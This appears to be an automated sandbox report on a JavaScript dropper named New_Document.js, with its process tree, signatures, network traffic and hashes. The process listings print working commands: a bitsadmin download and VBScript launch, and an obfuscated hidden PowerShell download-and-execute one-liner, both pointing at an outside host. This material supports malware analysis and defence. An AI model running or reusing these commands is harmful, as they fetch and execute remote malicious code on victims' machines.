Malware Analysis Report

2024-10-24 20:51

Sample ID 240828-ymhzysvdlj
Target New_Document.js
SHA256 8ed7810c7c48d274f4b845cb155ab61af9ac0297fceb2f356ad5557434977b5a
Tags
dropper execution
score
8/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
8/10

SHA256

8ed7810c7c48d274f4b845cb155ab61af9ac0297fceb2f356ad5557434977b5a

Threat Level: Likely malicious

The file New_Document.js was found to be: Likely malicious.

Malicious Activity Summary

dropper execution

Download via BitsAdmin

Blocklisted process makes network request

Command and Scripting Interpreter: PowerShell

Checks computer location settings

Command and Scripting Interpreter: JavaScript

Enumerates physical storage devices

Suspicious use of WriteProcessMemory

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-08-28 19:54

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-08-28 19:54

Reported

2024-08-28 19:56

Platform

win7-20240704-en

Max time kernel

118s

Max time network

126s

Command Line

wscript.exe C:\Users\Admin\AppData\Local\Temp\New_Document.js

Signatures

Download via BitsAdmin

dropper
Description Indicator Process Target
N/A N/A C:\Windows\System32\bitsadmin.exe N/A

Command and Scripting Interpreter: JavaScript

execution

Enumerates physical storage devices

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2316 wrote to memory of 2792 N/A C:\Windows\system32\wscript.exe C:\Windows\System32\bitsadmin.exe
PID 2316 wrote to memory of 2792 N/A C:\Windows\system32\wscript.exe C:\Windows\System32\bitsadmin.exe
PID 2316 wrote to memory of 2792 N/A C:\Windows\system32\wscript.exe C:\Windows\System32\bitsadmin.exe
PID 2316 wrote to memory of 2908 N/A C:\Windows\system32\wscript.exe C:\Windows\System32\wscript.exe
PID 2316 wrote to memory of 2908 N/A C:\Windows\system32\wscript.exe C:\Windows\System32\wscript.exe
PID 2316 wrote to memory of 2908 N/A C:\Windows\system32\wscript.exe C:\Windows\System32\wscript.exe

Processes

C:\Windows\system32\wscript.exe

wscript.exe C:\Users\Admin\AppData\Local\Temp\New_Document.js

C:\Windows\System32\bitsadmin.exe

"C:\Windows\System32\bitsadmin.exe" /transfer 8 https://aeroox.000webhostapp.com/mes/010111100110101101001111111101011011100101011110 C:\Users\Admin\AppData\Local\Temp\pmqfgkdqzsbsvsamfrryrizflqdvvwqqctmqvepuyuplixbkjbforifcqtpxeylsnfsloatiuqykwi

C:\Windows\System32\wscript.exe

"C:\Windows\System32\wscript.exe" //E:VBScript C:\Users\Admin\AppData\Local\Temp\pmqfgkdqzsbsvsamfrryrizflqdvvwqqctmqvepuyuplixbkjbforifcqtpxeylsnfsloatiuqykwi

Network

Country Destination Domain Proto
US 8.8.8.8:53 aeroox.000webhostapp.com udp
US 145.14.144.212:443 aeroox.000webhostapp.com tcp

Files

N/A

Analysis: behavioral2

Detonation Overview

Submitted

2024-08-28 19:54

Reported

2024-08-28 19:56

Platform

win10v2004-20240802-en

Max time kernel

148s

Max time network

152s

Command Line

wscript.exe C:\Users\Admin\AppData\Local\Temp\New_Document.js

Signatures

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Download via BitsAdmin

dropper
Description Indicator Process Target
N/A N/A C:\Windows\System32\bitsadmin.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-2392887640-1187051047-2909758433-1000\Control Panel\International\Geo\Nation C:\Windows\System32\wscript.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-2392887640-1187051047-2909758433-1000\Control Panel\International\Geo\Nation C:\Windows\system32\wscript.exe N/A

Command and Scripting Interpreter: JavaScript

execution

Enumerates physical storage devices

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\system32\wscript.exe

wscript.exe C:\Users\Admin\AppData\Local\Temp\New_Document.js

C:\Windows\System32\bitsadmin.exe

"C:\Windows\System32\bitsadmin.exe" /transfer 8 https://aeroox.000webhostapp.com/mes/010111100110101101001111111101011011100101011110 C:\Users\Admin\AppData\Local\Temp\pmqfgkdqzsbsvsamfrryrizflqdvvwqqctmqvepuyuplixbkjbforifcqtpxeylsnfsloatiuqykwi

C:\Windows\System32\wscript.exe

"C:\Windows\System32\wscript.exe" //E:VBScript C:\Users\Admin\AppData\Local\Temp\pmqfgkdqzsbsvsamfrryrizflqdvvwqqctmqvepuyuplixbkjbforifcqtpxeylsnfsloatiuqykwi

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WIND HIDDeN -eXeC BYPASS -NONI Sleep 2;[BYTe[]];$g45e='IeX(NeW-OBJeCT NeT.W';$df54='eBCLIeNT).DOWNLO';$5s4d='zalooma(''https://aeroox.000webhostapp.com/mes/'')'.RePLACe('zalooma','ADSTRING');Sleep 1;IeX($g45e+$df54+$5s4d);

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 150.171.27.10:443 g.bing.com tcp
US 8.8.8.8:53 241.150.49.20.in-addr.arpa udp
US 8.8.8.8:53 10.27.171.150.in-addr.arpa udp
US 8.8.8.8:53 73.144.22.2.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 73.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 aeroox.000webhostapp.com udp
US 145.14.144.212:443 aeroox.000webhostapp.com tcp
US 8.8.8.8:53 212.144.14.145.in-addr.arpa udp
US 145.14.144.212:443 aeroox.000webhostapp.com tcp
US 8.8.8.8:53 157.123.68.40.in-addr.arpa udp
US 8.8.8.8:53 15.164.165.52.in-addr.arpa udp
US 8.8.8.8:53 147.142.123.92.in-addr.arpa udp
US 8.8.8.8:53 172.214.232.199.in-addr.arpa udp
US 8.8.8.8:53 55.36.223.20.in-addr.arpa udp
US 8.8.8.8:53 21.236.111.52.in-addr.arpa udp
US 8.8.8.8:53 88.156.103.20.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp

Files

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qv0feqns.iqg.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/1784-3-0x0000023E2D460000-0x0000023E2D482000-memory.dmp